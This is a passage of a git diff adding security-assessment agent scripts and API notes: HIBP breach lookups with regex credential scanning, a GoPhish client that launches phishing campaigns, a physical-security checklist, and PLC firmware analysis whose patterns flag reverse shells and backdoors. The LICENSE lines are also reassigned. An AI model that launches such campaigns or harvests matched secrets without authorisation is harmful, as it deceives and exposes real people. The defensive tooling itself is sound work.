27f5a0fe..09d37ad6 100644 --- a/skills/performing-packet-injection-attack/LICENSE +++ b/skills/performing-packet-injection-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-paste-site-monitoring-for-credentials/LICENSE b/skills/performing-paste-site-monitoring-for-credentials/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-paste-site-monitoring-for-credentials/LICENSE +++ b/skills/performing-paste-site-monitoring-for-credentials/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md b/skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md new file mode 100644 index 00000000..d39ca818 --- /dev/null +++ b/skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md @@ -0,0 +1,39 @@ +# API Reference — Performing Paste Site Monitoring for Credentials + +## Libraries Used +- **requests**: HIBP API v3 for breach and paste lookup +- **re**: Credential pattern matching (email:pass, API keys, AWS keys, JWTs) +- **time**: Rate limiting for HIBP API (1.6s between requests) + +## CLI Interface +``` +python agent.py [--api-key ] check --email user@example.com +python agent.py [--api-key ] pastes --email user@example.com +python agent.py [--api-key ] bulk --domain example.com --emails employee_list.txt +python agent.py scan --file paste_dump.txt +python agent.py [--api-key ] report --domain example.com --emails employees.txt +``` + +## Core Functions + +### `check_haveibeenpwned(email, api_key)` — Breach database lookup +**Endpoint:** `GET /api/v3/breachedaccount/{email}` + +### `check_paste_dumps(email, api_key)` — Paste site exposure check +**Endpoint:** `GET /api/v3/pasteaccount/{email}` + +### `bulk_check_domain(domain, email_list_file, api_key)` — Organization-wide scan +Rate-limited to 1.6s between requests. Max 50 emails per run. + +### `scan_text_for_credentials(text_file)` — Pattern-based credential detection +Patterns: email:password, username:password, API keys, AWS keys (AKIA*), private keys, JWTs. + +### `generate_exposure_report(...)` — Executive exposure summary + +## Rate Limiting +HIBP free tier: ~1 request/1.6 seconds. Agent auto-sleeps between requests. + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-paste-site-monitoring-for-credentials/scripts/agent.py b/skills/performing-paste-site-monitoring-for-credentials/scripts/agent.py new file mode 100644 index 00000000..4452ba16 --- /dev/null +++ b/skills/performing-paste-site-monitoring-for-credentials/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Agent for performing paste site monitoring for leaked credentials.""" + +import json +import argparse +import re +import time +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +def check_haveibeenpwned(email, api_key=None): + """Check if an email appears in Have I Been Pwned breaches.""" + headers = {"User-Agent": "PasteMonitor-Agent"} + if api_key: + headers["hibp-api-key"] = api_key + try: + resp = requests.get(f"https://haveibeenpwned.com/api/v3/breachedaccount/{email}", + headers=headers, timeout=15) + if resp.status_code == 200: + breaches = resp.json() + return { + "email": email, "breached": True, + "breach_count": len(breaches), + "breaches": [{"name": b["Name"], "date": b["BreachDate"], + "data_classes": b["DataClasses"]} for b in breaches[:10]], + } + elif resp.status_code == 404: + return {"email": email, "breached": False} + else: + return {"email": email, "error": f"HTTP {resp.status_code}"} + except Exception as e: + return {"email": email, "error": str(e)} + + +def check_paste_dumps(email, api_key=None): + """Check for email in paste site dumps via HIBP paste API.""" + headers = {"User-Agent": "PasteMonitor-Agent"} + if api_key: + headers["hibp-api-key"] = api_key + try: + resp = requests.get(f"https://haveibeenpwned.com/api/v3/pasteaccount/{email}", + headers=headers, timeout=15) + if resp.status_code == 200: + pastes = resp.json() + return { + "email": email, "found_in_pastes": True, + "paste_count": len(pastes), + "pastes": [{"source": p.get("Source"), "title": p.get("Title", "")[:100], + "date": p.get("Date"), "email_count": p.get("EmailCount")} + for p in pastes[:15]], + } + elif resp.status_code == 404: + return {"email": email, "found_in_pastes": False} + else: + return {"email": email, "error": f"HTTP {resp.status_code}"} + except Exception as e: + return {"email": email, "error": str(e)} + + +def bulk_check_domain(domain, email_list_file, api_key=None): + """Check all emails from a domain for breach exposure.""" + from pathlib import Path + emails = [e.strip() for e in Path(email_list_file).read_text().splitlines() if e.strip() and domain in e] + results = [] + for email in emails[:50]: + result = check_haveibeenpwned(email, api_key) + results.append(result) + time.sleep(1.6) + breached = [r for r in results if r.get("breached")] + return { + "domain": domain, + "emails_checked": len(results), + "breached_accounts": len(breached), + "exposure_rate": round(len(breached) / max(len(results), 1) * 100, 1), + "results": results, + } + + +def scan_text_for_credentials(text_file): + """Scan a text file (paste dump) for credential patterns.""" + from pathlib import Path + content = Path(text_file).read_text(encoding="utf-8", errors="replace") + patterns = { + "email_password": re.compile(r"([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})\s*[:|;]\s*(\S+)"), + "username_password": re.compile(r"(?:user(?:name)?|login)\s*[:|=]\s*(\S+)\s+(?:pass(?:word)?)\s*[:|=]\s*(\S+)", re.I), + "api_key": re.compile(r"(?:api[_-]?key|apikey|access[_-]?token)\s*[:|=]\s*['\"]?([a-zA-Z0-9_\-]{20,})['\"]?", re.I), + "aws_key": re.compile(r"AKIA[0-9A-Z]{16}"), + "private_key": re.compile(r"-----BEGIN (?:RSA |EC )?PRIVATE KEY-----"), + "jwt_token": re.compile(r"eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+"), + } + findings = {} + for name, pattern in patterns.items(): + matches = pattern.findall(content) + if matches: + if isinstance(matches[0], tuple): + findings[name] = [{"match": m[0][:50]} for m in matches[:20]] + else: + findings[name] = [{"match": m[:50]} for m in matches[:20]] + domains = re.findall(r"@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})", content) + domain_counts = {} + for d in domains: + domain_counts[d] = domain_counts.get(d, 0) + 1 + return { + "file": text_file, + "credential_types_found": list(findings.keys()), + "total_matches": sum(len(v) for v in findings.values()), + "findings": findings, + "affected_domains": dict(sorted(domain_counts.items(), key=lambda x: -x[1])[:15]), + } + + +def generate_exposure_report(domain, email_list_file, api_key=None): + """Generate credential exposure report for an organization.""" + bulk = bulk_check_domain(domain, email_list_file, api_key) + return { + "generated": datetime.utcnow().isoformat(), + "domain": domain, + "summary": { + "emails_checked": bulk["emails_checked"], + "breached": bulk["breached_accounts"], + "exposure_rate": bulk["exposure_rate"], + }, + "recommendations": [ + "Force password reset for all breached accounts", + "Enable MFA for all accounts", + "Monitor for credential stuffing attacks", + "Implement password breach detection (e.g., Azure AD Password Protection)", + ], + "details": bulk["results"][:20], + } + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="Paste Site Credential Monitoring Agent") + parser.add_argument("--api-key", help="HIBP API key") + sub = parser.add_subparsers(dest="command") + c = sub.add_parser("check", help="Check single email") + c.add_argument("--email", required=True) + p = sub.add_parser("pastes", help="Check paste dumps") + p.add_argument("--email", required=True) + b = sub.add_parser("bulk", help="Bulk domain check") + b.add_argument("--domain", required=True) + b.add_argument("--emails", required=True, help="Email list file") + s = sub.add_parser("scan", help="Scan text for credentials") + s.add_argument("--file", required=True) + r = sub.add_parser("report", help="Exposure report") + r.add_argument("--domain", required=True) + r.add_argument("--emails", required=True) + args = parser.parse_args() + api_key = args.api_key if hasattr(args, "api_key") else None + if args.command == "check": + result = check_haveibeenpwned(args.email, api_key) + elif args.command == "pastes": + result = check_paste_dumps(args.email, api_key) + elif args.command == "bulk": + result = bulk_check_domain(args.domain, args.emails, api_key) + elif args.command == "scan": + result = scan_text_for_credentials(args.file) + elif args.command == "report": + result = generate_exposure_report(args.domain, args.emails, api_key) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-phishing-simulation-with-gophish/LICENSE b/skills/performing-phishing-simulation-with-gophish/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-phishing-simulation-with-gophish/LICENSE +++ b/skills/performing-phishing-simulation-with-gophish/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-phishing-simulation-with-gophish/references/api-reference.md b/skills/performing-phishing-simulation-with-gophish/references/api-reference.md new file mode 100644 index 00000000..8942a1d9 --- /dev/null +++ b/skills/performing-phishing-simulation-with-gophish/references/api-reference.md @@ -0,0 +1,46 @@ +# API Reference — Performing Phishing Simulation with GoPhish + +## Libraries Used +- **requests**: HTTP client for GoPhish REST API + +## CLI Interface +``` +python agent.py --url https://gophish.local:3333 --api-key campaigns +python agent.py --url --api-key metrics --id 1 +python agent.py --url --api-key resources +python agent.py --url --api-key report --id 1 +python agent.py --url --api-key launch --name "Q1 Test" --template-id 1 --page-id 1 --smtp-id 1 --group-ids 1 2 --phish-url https://phish.local +``` + +## GoPhishClient API Endpoints + +### `GET /api/campaigns/` — List all campaigns +### `GET /api/campaigns/{id}` — Campaign details with results +### `POST /api/campaigns/` — Create and launch campaign +### `GET /api/groups/` — List target groups +### `GET /api/templates/` — List email templates +### `GET /api/smtp/` — List sending profiles + +## Core Functions + +### `get_campaign_metrics(...)` — Campaign performance analysis +Tracks: sent, opened, clicked, submitted, reported. Calculates percentage rates. + +### `generate_report(...)` — Risk assessment with recommendations +Risk levels: CRITICAL (>10% credential submission), HIGH (>20% click rate), MEDIUM. + +### `list_resources(...)` — Enumerate available GoPhish configurations + +## Campaign Status Tracking +| Status | Description | +|--------|-------------| +| Email Sent | Email delivered to target | +| Email Opened | Tracking pixel loaded | +| Clicked Link | Target clicked phishing URL | +| Submitted Data | Target entered credentials | +| Reported | Target reported phishing email | + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-phishing-simulation-with-gophish/scripts/agent.py b/skills/performing-phishing-simulation-with-gophish/scripts/agent.py new file mode 100644 index 00000000..6e5621da --- /dev/null +++ b/skills/performing-phishing-simulation-with-gophish/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Agent for performing phishing simulation campaigns with GoPhish API.""" + +import json +import argparse +from datetime import datetime + +try: + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +except ImportError: + requests = None + + +class GoPhishClient: + """Client for GoPhish REST API.""" + + def __init__(self, base_url, api_key): + self.base_url = base_url.rstrip("/") + self.headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} + + def _get(self, path): + resp = requests.get(f"{self.base_url}{path}", headers=self.headers, verify=False, timeout=30) + resp.raise_for_status() + return resp.json() + + def _post(self, path, data): + resp = requests.post(f"{self.base_url}{path}", headers=self.headers, json=data, verify=False, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_campaigns(self): + return self._get("/api/campaigns/") + + def get_campaign(self, campaign_id): + return self._get(f"/api/campaigns/{campaign_id}") + + def get_campaign_results(self, campaign_id): + return self._get(f"/api/campaigns/{campaign_id}/results") + + def create_campaign(self, name, template_id, page_id, smtp_id, group_ids, url, launch_date=None): + data = {"name": name, "template": {"id": template_id}, "page": {"id": page_id}, + "smtp": {"id": smtp_id}, "groups": [{"id": gid} for gid in group_ids], "url": url} + if launch_date: + data["launch_date"] = launch_date + return self._post("/api/campaigns/", data) + + def get_groups(self): + return self._get("/api/groups/") + + def get_templates(self): + return self._get("/api/templates/") + + def get_sending_profiles(self): + return self._get("/api/smtp/") + + +def list_campaigns(base_url, api_key): + """List all phishing simulation campaigns.""" + client = GoPhishClient(base_url, api_key) + campaigns = client.get_campaigns() + return { + "total_campaigns": len(campaigns), + "campaigns": [{"id": c["id"], "name": c["name"], "status": c["status"], + "created_date": c.get("created_date"), "launch_date": c.get("launch_date")} + for c in campaigns], + } + + +def get_campaign_metrics(base_url, api_key, campaign_id): + """Get detailed metrics for a phishing campaign.""" + client = GoPhishClient(base_url, api_key) + campaign = client.get_campaign(campaign_id) + results = campaign.get("results", []) + stats = {"total": len(results), "sent": 0, "opened": 0, "clicked": 0, "submitted": 0, "reported": 0} + for r in results: + status = r.get("status", "").lower() + if "sent" in status or "email sent" in status: + stats["sent"] += 1 + if "opened" in status or "email opened" in status: + stats["opened"] += 1 + if "clicked" in status: + stats["clicked"] += 1 + if "submitted" in status: + stats["submitted"] += 1 + if "reported" in status: + stats["reported"] += 1 + total = max(stats["sent"], 1) + return { + "campaign_id": campaign_id, "name": campaign.get("name"), + "status": campaign.get("status"), + "stats": stats, + "rates": { + "open_rate": round(stats["opened"] / total * 100, 1), + "click_rate": round(stats["clicked"] / total * 100, 1), + "submit_rate": round(stats["submitted"] / total * 100, 1), + "report_rate": round(stats["reported"] / total * 100, 1), + }, + } + + +def launch_campaign(base_url, api_key, name, template_id, page_id, smtp_id, group_ids, url): + """Launch a new phishing simulation campaign.""" + client = GoPhishClient(base_url, api_key) + result = client.create_campaign(name, template_id, page_id, smtp_id, group_ids, url) + return {"campaign_created": True, "campaign": result} + + +def list_resources(base_url, api_key): + """List available templates, groups, and sending profiles.""" + client = GoPhishClient(base_url, api_key) + return { + "groups": [{"id": g["id"], "name": g["name"], "targets": len(g.get("targets", []))} + for g in client.get_groups()], + "templates": [{"id": t["id"], "name": t["name"]} for t in client.get_templates()], + "sending_profiles": [{"id": s["id"], "name": s["name"], "host": s.get("host")} + for s in client.get_sending_profiles()], + } + + +def generate_report(base_url, api_key, campaign_id): + """Generate phishing simulation report with recommendations.""" + metrics = get_campaign_metrics(base_url, api_key, campaign_id) + recommendations = [] + if metrics["rates"]["click_rate"] > 20: + recommendations.append("HIGH click rate — mandatory security awareness training needed") + if metrics["rates"]["submit_rate"] > 10: + recommendations.append("CRITICAL — over 10% submitted credentials, implement MFA immediately") + if metrics["rates"]["report_rate"] < 5: + recommendations.append("Low report rate — train users on how to report phishing") + return { + "generated": datetime.utcnow().isoformat(), + **metrics, + "risk_level": "CRITICAL" if metrics["rates"]["submit_rate"] > 10 else "HIGH" if metrics["rates"]["click_rate"] > 20 else "MEDIUM", + "recommendations": recommendations, + } + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="GoPhish Phishing Simulation Agent") + parser.add_argument("--url", required=True, help="GoPhish server URL") + parser.add_argument("--api-key", required=True, help="GoPhish API key") + sub = parser.add_subparsers(dest="command") + sub.add_parser("campaigns", help="List campaigns") + m = sub.add_parser("metrics", help="Campaign metrics") + m.add_argument("--id", type=int, required=True) + sub.add_parser("resources", help="List templates, groups, profiles") + r = sub.add_parser("report", help="Generate campaign report") + r.add_argument("--id", type=int, required=True) + l = sub.add_parser("launch", help="Launch new campaign") + l.add_argument("--name", required=True) + l.add_argument("--template-id", type=int, required=True) + l.add_argument("--page-id", type=int, required=True) + l.add_argument("--smtp-id", type=int, required=True) + l.add_argument("--group-ids", nargs="+", type=int, required=True) + l.add_argument("--phish-url", required=True) + args = parser.parse_args() + if args.command == "campaigns": + result = list_campaigns(args.url, args.api_key) + elif args.command == "metrics": + result = get_campaign_metrics(args.url, args.api_key, args.id) + elif args.command == "resources": + result = list_resources(args.url, args.api_key) + elif args.command == "report": + result = generate_report(args.url, args.api_key, args.id) + elif args.command == "launch": + result = launch_campaign(args.url, args.api_key, args.name, args.template_id, + args.page_id, args.smtp_id, args.group_ids, args.phish_url) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-physical-intrusion-assessment/LICENSE b/skills/performing-physical-intrusion-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-physical-intrusion-assessment/LICENSE +++ b/skills/performing-physical-intrusion-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-physical-intrusion-assessment/references/api-reference.md b/skills/performing-physical-intrusion-assessment/references/api-reference.md new file mode 100644 index 00000000..5cb15c42 --- /dev/null +++ b/skills/performing-physical-intrusion-assessment/references/api-reference.md @@ -0,0 +1,39 @@ +# API Reference — Performing Physical Intrusion Assessment + +## Libraries Used +- **csv**: Generate and parse assessment checklists +- **pathlib**: File operations + +## CLI Interface +``` +python agent.py checklist [--categories perimeter access_control server_room social_engineering] [--output checklist.csv] +python agent.py score --csv completed_assessment.csv +python agent.py report --csv completed_assessment.csv +``` + +## Core Functions + +### `generate_checklist(categories, output_file)` — Create assessment template +22 checks across 4 categories with severity ratings. Outputs to CSV. + +### `score_assessment(results_csv)` — Calculate compliance score +Groups by category and severity. Identifies critical failures. + +### `generate_report(results_csv)` — Executive summary with risk level + +## Assessment Categories (22 checks) +| Category | Checks | Focus | +|----------|--------|-------| +| Perimeter Security | 5 | Fencing, CCTV, lighting, barriers | +| Access Control | 6 | Badge access, tailgating, visitor policy | +| Server Room | 6 | MFA, CCTV, environmental, access logs | +| Social Engineering | 5 | Visitor challenge, clean desk, shredding | + +## Risk Classification +- **CRITICAL**: Critical control failures found +- **HIGH**: >5 failed checks +- **MEDIUM**: 1-5 failed checks +- **LOW**: All checks passed + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-physical-intrusion-assessment/scripts/agent.py b/skills/performing-physical-intrusion-assessment/scripts/agent.py new file mode 100644 index 00000000..c483652e --- /dev/null +++ b/skills/performing-physical-intrusion-assessment/scripts/agent.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Agent for performing physical intrusion assessment — checklist management and finding documentation.""" + +import json +import argparse +import csv +from datetime import datetime +from pathlib import Path + + +ASSESSMENT_CATEGORIES = { + "perimeter": { + "name": "Perimeter Security", + "checks": [ + {"id": "P01", "check": "Perimeter fencing intact and adequate height (>=7ft)", "severity": "HIGH"}, + {"id": "P02", "check": "CCTV cameras covering all entry points", "severity": "HIGH"}, + {"id": "P03", "check": "Adequate exterior lighting at night", "severity": "MEDIUM"}, + {"id": "P04", "check": "Vehicle barriers at building entrances", "severity": "MEDIUM"}, + {"id": "P05", "check": "Signage prohibiting unauthorized access", "severity": "LOW"}, + ], + }, + "access_control": { + "name": "Access Control", + "checks": [ + {"id": "A01", "check": "Badge/card access on all entry doors", "severity": "CRITICAL"}, + {"id": "A02", "check": "Tailgating prevention mechanisms (mantrap, turnstile)", "severity": "HIGH"}, + {"id": "A03", "check": "Visitor sign-in and escort policy enforced", "severity": "HIGH"}, + {"id": "A04", "check": "Badge visible at all times policy", "severity": "MEDIUM"}, + {"id": "A05", "check": "After-hours access controls and logging", "severity": "HIGH"}, + {"id": "A06", "check": "Terminated employee badge deactivation process", "severity": "CRITICAL"}, + ], + }, + "server_room": { + "name": "Server Room / Data Center", + "checks": [ + {"id": "S01", "check": "MFA or biometric access to server room", "severity": "CRITICAL"}, + {"id": "S02", "check": "CCTV monitoring inside server room", "severity": "HIGH"}, + {"id": "S03", "check": "Environmental controls (temp, humidity sensors)", "severity": "MEDIUM"}, + {"id": "S04", "check": "Fire suppression system present", "severity": "HIGH"}, + {"id": "S05", "check": "Access logs reviewed regularly", "severity": "MEDIUM"}, + {"id": "S06", "check": "No unlocked network ports in common areas", "severity": "HIGH"}, + ], + }, + "social_engineering": { + "name": "Social Engineering Resistance", + "checks": [ + {"id": "E01", "check": "Employees challenge unknown visitors", "severity": "HIGH"}, + {"id": "E02", "check": "Clean desk policy enforced", "severity": "MEDIUM"}, + {"id": "E03", "check": "Sensitive documents shredded", "severity": "MEDIUM"}, + {"id": "E04", "check": "USB drives not left unattended", "severity": "HIGH"}, + {"id": "E05", "check": "Dumpster diving countermeasures", "severity": "MEDIUM"}, + ], + }, +} + + +def generate_checklist(categories=None, output_file=None): + """Generate physical security assessment checklist.""" + cats = categories or list(ASSESSMENT_CATEGORIES.keys()) + checklist = [] + for cat in cats: + if cat in ASSESSMENT_CATEGORIES: + data = ASSESSMENT_CATEGORIES[cat] + for check in data["checks"]: + checklist.append({ + "category": data["name"], "id": check["id"], + "check": check["check"], "severity": check["severity"], + "status": "NOT_TESTED", "finding": "", "evidence": "", + }) + if output_file: + with open(output_file, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=["category", "id", "check", "severity", "status", "finding", "evidence"]) + writer.writeheader() + writer.writerows(checklist) + return {"total_checks": len(checklist), "categories": cats, "checklist": checklist, "output": output_file} + + +def score_assessment(results_csv): + """Score a completed physical security assessment.""" + with open(results_csv, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + results = list(reader) + passed = sum(1 for r in results if r.get("status", "").lower() in ("pass", "compliant", "ok")) + failed = sum(1 for r in results if r.get("status", "").lower() in ("fail", "non-compliant", "nc")) + total = len(results) + by_category = {} + by_severity = {} + failures = [] + for r in results: + cat = r.get("category", "unknown") + sev = r.get("severity", "MEDIUM") + by_category.setdefault(cat, {"pass": 0, "fail": 0}) + by_severity.setdefault(sev, {"pass": 0, "fail": 0}) + if r.get("status", "").lower() in ("pass", "compliant", "ok"): + by_category[cat]["pass"] += 1 + by_severity[sev]["pass"] += 1 + elif r.get("status", "").lower() in ("fail", "non-compliant", "nc"): + by_category[cat]["fail"] += 1 + by_severity[sev]["fail"] += 1 + failures.append({"id": r.get("id"), "check": r.get("check"), "severity": sev, + "finding": r.get("finding", "")[:200]}) + return { + "total_checks": total, "passed": passed, "failed": failed, + "compliance_pct": round(passed / max(total, 1) * 100, 1), + "by_category": by_category, + "by_severity": by_severity, + "critical_failures": [f for f in failures if f["severity"] == "CRITICAL"], + "all_failures": failures, + } + + +def generate_report(results_csv): + """Generate executive physical security assessment report.""" + scores = score_assessment(results_csv) + risk = "CRITICAL" if scores.get("critical_failures") else "HIGH" if scores["failed"] > 5 else "MEDIUM" if scores["failed"] > 0 else "LOW" + return { + "generated": datetime.utcnow().isoformat(), + "overall_risk": risk, + "compliance_score": scores["compliance_pct"], + **scores, + "recommendations": [ + f"CRITICAL: Address {len(scores['critical_failures'])} critical findings immediately" + ] if scores["critical_failures"] else ["All critical controls passed"], + } + + +def main(): + parser = argparse.ArgumentParser(description="Physical Intrusion Assessment Agent") + sub = parser.add_subparsers(dest="command") + c = sub.add_parser("checklist", help="Generate assessment checklist") + c.add_argument("--categories", nargs="*", choices=list(ASSESSMENT_CATEGORIES.keys())) + c.add_argument("--output", help="Output CSV file") + s = sub.add_parser("score", help="Score completed assessment") + s.add_argument("--csv", required=True) + r = sub.add_parser("report", help="Generate assessment report") + r.add_argument("--csv", required=True) + args = parser.parse_args() + if args.command == "checklist": + result = generate_checklist(args.categories, args.output) + elif args.command == "score": + result = score_assessment(args.csv) + elif args.command == "report": + result = generate_report(args.csv) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-plc-firmware-security-analysis/LICENSE b/skills/performing-plc-firmware-security-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-plc-firmware-security-analysis/LICENSE +++ b/skills/performing-plc-firmware-security-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-plc-firmware-security-analysis/references/api-reference.md b/skills/performing-plc-firmware-security-analysis/references/api-reference.md new file mode 100644 index 00000000..3255b6c8 --- /dev/null +++ b/skills/performing-plc-firmware-security-analysis/references/api-reference.md @@ -0,0 +1,46 @@ +# API Reference — Performing PLC Firmware Security Analysis + +## Libraries Used +- **subprocess**: Execute binwalk for firmware extraction +- **hashlib**: MD5/SHA256 firmware hashing +- **re**: Credential and vulnerability pattern scanning +- **pathlib**: Recursive file scanning of extracted firmware +- **math**: Shannon entropy calculation + +## CLI Interface +``` +python agent.py extract --firmware plc_fw.bin [--output /tmp/fw_extract] +python agent.py metadata --firmware plc_fw.bin +python agent.py creds --dir /tmp/fw_extract +python agent.py vulns --dir /tmp/fw_extract +python agent.py full --firmware plc_fw.bin [--output /tmp/fw_extract] +``` + +## Core Functions + +### `extract_firmware(firmware_file, output_dir)` — Binwalk extraction +### `analyze_firmware_metadata(firmware_file)` — Hash and entropy analysis +High entropy (>7.5) may indicate encryption or compression. + +### `scan_for_credentials(extract_dir)` — Hardcoded credential detection +Patterns: passwords, default creds, private keys, API keys, connection strings. + +### `scan_for_vulnerabilities(extract_dir)` — Code vulnerability patterns +Detects: command injection (system/popen), buffer overflow risk (strcpy/gets), +insecure protocols (telnet/FTP), debug mode, backdoor indicators. + +### `full_analysis(firmware_file, output_dir)` — Complete analysis pipeline + +## Vulnerability Patterns +| Pattern | Risk | Indicator | +|---------|------|-----------| +| command_injection | HIGH | system(), popen(), exec() | +| buffer_overflow_risk | HIGH | strcpy, strcat, sprintf, gets | +| insecure_protocol | MEDIUM | telnet, ftp, http:// | +| debug_enabled | MEDIUM | debug=true, DEBUG_MODE | +| backdoor_indicator | CRITICAL | backdoor, rootkit, reverse shell | + +## Dependencies +``` +pip install binwalk +``` diff --git a/skills/performing-plc-firmware-security-analysis/scripts/agent.py b/skills/performing-plc-firmware-security-analysis/scripts/agent.py new file mode 100644 index 00000000..b53dac03 --- /dev/null +++ b/skills/performing-plc-firmware-security-analysis/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Agent for performing PLC firmware security analysis.""" + +import json +import argparse +import subprocess +import hashlib +import re +from pathlib import Path +from datetime import datetime + + +def extract_firmware(firmware_file, output_dir="/tmp/fw_extract"): + """Extract firmware image using binwalk.""" + Path(output_dir).mkdir(parents=True, exist_ok=True) + cmd = ["binwalk", "-e", "-C", output_dir, firmware_file] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + extracted = list(Path(output_dir).rglob("*")) + files = [str(f.relative_to(output_dir)) for f in extracted if f.is_file()] + return { + "firmware": firmware_file, "output_dir": output_dir, + "files_extracted": len(files), + "file_list": files[:50], + "binwalk_output": result.stdout[:1000], + } + except FileNotFoundError: + return {"error": "binwalk not installed — pip install binwalk"} + except Exception as e: + return {"error": str(e)} + + +def analyze_firmware_metadata(firmware_file): + """Analyze firmware file metadata and calculate hashes.""" + data = Path(firmware_file).read_bytes() + magic_bytes = data[:16].hex() + return { + "firmware": firmware_file, + "size_bytes": len(data), + "md5": hashlib.md5(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "magic_bytes": magic_bytes, + "entropy": _calculate_entropy(data), + } + + +def _calculate_entropy(data): + """Calculate Shannon entropy of binary data.""" + import math + if not data: + return 0 + freq = [0] * 256 + for byte in data: + freq[byte] += 1 + entropy = 0 + length = len(data) + for f in freq: + if f > 0: + p = f / length + entropy -= p * math.log2(p) + return round(entropy, 2) + + +def scan_for_credentials(extract_dir): + """Scan extracted firmware for hardcoded credentials.""" + findings = [] + patterns = { + "hardcoded_password": re.compile(r'(?:password|passwd|pwd)\s*[=:]\s*["\']?([^\s"\']{3,})', re.I), + "default_credential": re.compile(r'(?:admin|root|user|operator)[:;]\s*([^\s:]{3,})', re.I), + "private_key": re.compile(r"-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----"), + "api_key": re.compile(r"(?:api[_-]?key|apikey|secret[_-]?key)\s*[=:]\s*[\"']?([a-zA-Z0-9_\-]{16,})", re.I), + "connection_string": re.compile(r"(?:mysql|postgres|mongodb|redis)://[^\s\"']+", re.I), + } + p = Path(extract_dir) + for f in p.rglob("*"): + if f.is_file() and f.stat().st_size < 1_000_000: + try: + content = f.read_text(encoding="utf-8", errors="replace") + for pattern_name, pattern in patterns.items(): + matches = pattern.findall(content) + if matches: + findings.append({ + "file": str(f.relative_to(p)), + "type": pattern_name, + "matches": [m[:50] if isinstance(m, str) else str(m)[:50] for m in matches[:5]], + }) + except Exception: + continue + return { + "extract_dir": extract_dir, + "files_scanned": sum(1 for _ in p.rglob("*") if _.is_file()), + "credential_findings": len(findings), + "findings": findings[:30], + "severity": "CRITICAL" if findings else "INFO", + } + + +def scan_for_vulnerabilities(extract_dir): + """Scan extracted firmware for common vulnerability patterns.""" + findings = [] + p = Path(extract_dir) + vuln_patterns = { + "command_injection": re.compile(r"(?:system|popen|exec)\s*\(", re.I), + "buffer_overflow_risk": re.compile(r"(?:strcpy|strcat|sprintf|gets)\s*\("), + "insecure_protocol": re.compile(r"(?:telnet|ftp|http://|tftp)", re.I), + "debug_enabled": re.compile(r"(?:debug\s*=\s*(?:true|1|on)|DEBUG_MODE)", re.I), + "backdoor_indicator": re.compile(r"(?:backdoor|rootkit|reverse.?shell)", re.I), + } + for f in p.rglob("*"): + if f.is_file() and f.stat().st_size < 1_000_000 and f.suffix in (".c", ".h", ".py", ".sh", ".conf", ".cfg", ".xml", ".json", ".lua", ""): + try: + content = f.read_text(encoding="utf-8", errors="replace") + for vuln_name, pattern in vuln_patterns.items(): + matches = pattern.findall(content) + if matches: + findings.append({ + "file": str(f.relative_to(p)), + "vulnerability": vuln_name, + "count": len(matches), + "samples": matches[:3], + }) + except Exception: + continue + config_files = list(p.rglob("*.conf")) + list(p.rglob("*.cfg")) + list(p.rglob("*.ini")) + return { + "extract_dir": extract_dir, + "vulnerability_findings": len(findings), + "config_files_found": len(config_files), + "findings": findings[:30], + } + + +def full_analysis(firmware_file, output_dir="/tmp/fw_extract"): + """Run full firmware security analysis 